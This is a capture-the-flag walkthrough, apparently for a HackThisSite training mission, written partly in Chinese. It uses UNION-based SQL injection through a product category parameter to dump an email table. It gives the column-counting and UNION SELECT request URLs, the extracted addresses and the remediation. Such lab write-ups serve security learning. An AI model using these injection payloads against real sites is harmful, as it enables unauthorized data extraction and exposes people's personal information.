Challenge
Extract the email addresses from Fischer’s Animal Products and send them to
SaveTheWhalesthrough the HTS message center.
category 被直接拼入 SQL,导致 UNION-based SQL injection。应使用参数化查询,并让数据库账号只拥有必要权限。
Solution
1. 确认注入点与列数
产品分类通过 products.php?category= 查询。当前站点的 ORDER BY 4 仍能正常返回,ORDER BY 5 返回空结果,因此原查询有 4 列:
/missions/realistic/4/products.php?category=1%20ORDER%20BY%2042. UNION 查询邮箱
把第 2 列用于显示文本:
/missions/realistic/4/products.php?category=2%20UNION%20ALL%20SELECT%201,email,3,4%20FROM%20email当前响应提取到 9 个地址:
alph-alpha-brown@hotmail.comsam.goodwin@yahoo.comUltraDeathLaser@aol.comSwingLow@hotmail.comTeaBody@aol.comjsmith@uic.edu3ambeer@graffiti.netshootfirst@yahoo.comBobby@friends.com在 HTS Messages Center 的 Send 页面,以 SaveTheWhales 为收件人,将以上地址放入消息正文并发送。成功响应为:
Congratulations, you have successfully completed realistic 4!